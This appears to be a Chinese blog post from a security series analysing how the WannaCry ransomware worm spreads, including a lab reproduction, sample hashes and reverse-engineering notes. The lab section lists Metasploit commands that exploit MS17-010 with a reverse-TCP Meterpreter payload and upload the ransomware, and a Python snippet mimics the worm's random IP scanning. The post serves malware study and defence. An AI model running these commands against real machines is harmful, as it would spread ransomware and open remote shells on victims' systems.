[系统安全] 二十七.WannaCry勒索病毒分析 (3)蠕虫传播机制分析及IDA和OD逆向
前文分享了MSF利用MS17-010漏洞进行反弹Shell,再上传勒索病毒,复现了WannaCry勒索病毒。这篇文章作者将继续分析WannaCry勒索病毒,主要通过IDA和OD逆向分析蠕虫传播部分,详细讲解蠕虫是如何感染传播的。同时,由于作者技术真的菜,只能叙述自己摸索的过程,如果存在错误或不足之处,还望告知。希望这篇基础性文章对您有所帮助~
文章目录:
一.WannaCry背景
二.WannaCry实验复现
三.WannaCry基础分析
四.WannaCry传播机制详解
1.WannaCry蠕虫传播步骤
2.连接域名
3.安装和启动mssecsvc2.0服务
4.局域网和外网传播
5.利用SMB漏洞
6.Payload分析
7.ShellCode提取
8.APC注入
9.释放勒索程序
五.总结
从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!
接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~推荐前文:网络安全自学篇系列-100篇
https://blog.csdn.net/eastmount/category_9183790.htm
作者的github资源:
WannaCry:https://github.com/eastmountyxz/
WannaCry-Experiment
逆向分析:https://github.com/eastmountyxz/
SystemSecurity-ReverseAnalysis
网络安全:https://github.com/eastmountyxz/
NetworkSecuritySelf-study
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)
一.WannaCry背景
传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;内存加载加密器模块,加密执行类型文件,全部加密后启动解密器;解密器启动后,设置桌面背景显示勒索信息,弹出窗口显示付款账号和勒索信息
二.WannaCry实验复现
攻击机:
Kali-linux-2019.2 IP:192.168.44.138
受害主机:
Win7 64位 IP:192.168.44.147
metasploit
MS17-010
Wcry.exe
配置Kali、Windows7实验环境
Kali检测受害主机445端口(SMB协议)是否开启
运行EternalBlue永恒之蓝漏洞(MS17-010)反弹shell
上传勒索病毒wcry.exe并运行
实现勒索和文件加密
use exploit/windows/
smb/ms17_010_eternalblue
利用永恒之蓝漏洞
set payload windows/x64/
meterpreter/reverse_tcp
设置payload
set LHOST 192.168.44.138
设置本机IP地址
set RHOSTS 192.168.44.147
设置受害主机IP
set RPORT 445
设置端口445,注意该端口共享功能是高危漏洞端口,包括之前分享的139、3389等
exploit
利用漏洞
getuid
pwd、ls、shell
upload /root/wcry.exe c:\
wcry.exe
b.wnry: 中招敲诈者后桌面壁纸
c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
f.wnry: 可免支付解密的文件列表
r.wnry: 提示文件,包含中招提示信息
s.wnry: zip文件,包含Tor客户端
t.wnry: 测试文件
u.wnry: 解密程序
三.WannaCry基础分析
病毒名称:Trojan-Ransom.Win32.Wanna.m
所属家族:木马/勒索/蠕虫
大小: 3514368 bytes
修改时间: 2017年5月13日, 2:21:23
MD5: DB349B97C37D22F5EA1D1841E3C89EB4
SHA1: E889544AFF85FFAF8B0D0DA705105DEE7C97FE26
CRC32: 9FBB1227
b.wnry: 中招敲诈者后桌面壁纸
c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
f.wnry: 可免支付解密的文件列表
r.wnry: 提示文件,包含中招提示信息
s.wnry: zip文件,包含Tor客户端
t.wnry: 测试文件
u.wnry: 解密程序
四.WannaCry传播机制详解
1.WannaCry蠕虫传播步骤
主程序文件利用漏洞传播自身,运行WannaCry勒索程序
WannaCry勒索程序释放tasksche.exe,对磁盘文件进行加密勒索
@WanaDecryptor@.exe显示勒索信息,解密示例文件
连接远程域名
安装并启动服务
建立局域网或公网IP表,为每个IP依次创建线程
尝试连接445端口,测试是否存在SMB漏洞
如果存在漏洞,则发送包含动态库的Payload进行攻击
执行shellcode并使用APC注入将生成的dll注入到进程lsass.exe
dll调用导出函数PlayGame,释放资源文件并保存为mssecsvc.exe执行,释放勒索程序tasksche.exe
被攻击计算机继续使用MS17-010漏洞进行传播
2.连接域名
如果该域名连接成功,则直接退出且不触发任何恶意行为
如果该域名无法访问,则触发传播勒索行为
3.安装和启动mssecsvc2.0服务
4.局域网和外网传播
10.0.0.0 ~ 10.255.255.255
172.16.0.0 ~ 172.31.255.255
192.168.0.0 ~ 192.168.255.255
from win32api import *
import random
import time
random.seed(GetCurrentThreadId() + time.time() + GetTickCount())
firstTick = GetTickCount()
while True:
ip_1, ip_2, ip_3, ip_4 = 128, None, None, None
flag1, flag2 = None, None
while ip_1 == 128 or ip_1 >= 224:
ip_1 = random.randint(0, 255)
ip_2 = random.randint(0, 255)
ip_3 = random.randint(0, 255)
ip_4 = random.randint(0, 255)
time.sleep(1)
while ip_4 <= 255:
print str(ip_1) + "." + str(ip_2) + "." + str(ip_3) + "." + str(ip_4)
ip_4 += 1
5.利用SMB漏洞
6.Payload分析
64位的Payload由长度为0x1800字节的shellcode与长度为0x50d800字节的dll组成,64位的shellcode部分截图如下:
32位的Payload由长度为0x1305字节的shellcode与长度为0x506000字节的dll组成,32位的shellcode部分截图如下:
64位的dll文件(代码部分长度0xc8a4字节):
32位的dll文件(代码部分长度0x4060):
7.ShellCode提取
[原创]WannaCry勒索软件中“永恒之蓝”漏洞利用分析 - 展博
[原创]通过Wannacry分析内核shellcode注入dll技术 - dragonwang
8.APC注入
9.释放勒索程序
五.总结
一.WannaCry背景
二.WannaCry实验复现
三.WannaCry基础分析
四.WannaCry传播机制详解
1.WannaCry蠕虫传播步骤
2.连接域名
3.安装和启动mssecsvc2.0服务
4.局域网和外网传播
5.利用SMB漏洞
6.Payload分析
7.ShellCode提取
8.APC注入
9.释放勒索程序
前文回顾(下面的超链接可以点击喔):
[系统安全] 二十七.WannaCry勒索病毒分析 (3)蠕虫传播机制分析及IDA和OD逆向
2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。2021年继续加油!
晚安女神,爱你和小宝❤
(By:Eastmount 2021-03-26 周五夜于武汉)
参考资料:
[1] 勒索病毒“WannaCry”之复现过程(永恒之蓝)- weixin_40950781
[2] Windows再曝“WannaCry”级漏洞 CVE-2019-0708,专治 XP、Win7 - FB客户
[3] 对WannaCry的深度分析 - 鬼手56
[4] 安天针对勒索蠕虫“魔窟”(WannaCry)的深度分析报告
[5] WannaCry蠕虫详细分析 - FreeBuf腾讯
[6] [病毒分析]WannaCry病毒分析(永恒之蓝) - 小彩虹
[7] 威胁预警 | 蠕虫级漏洞BlueKeep(CVE-2019-0708) EXP被公布 - 斗象智能安全平台
[8] [反病毒]病毒分析实战篇1–远控病毒分析 - i春秋老师
[9] wannacry,petaya,meze等病毒样本 - CSDN下载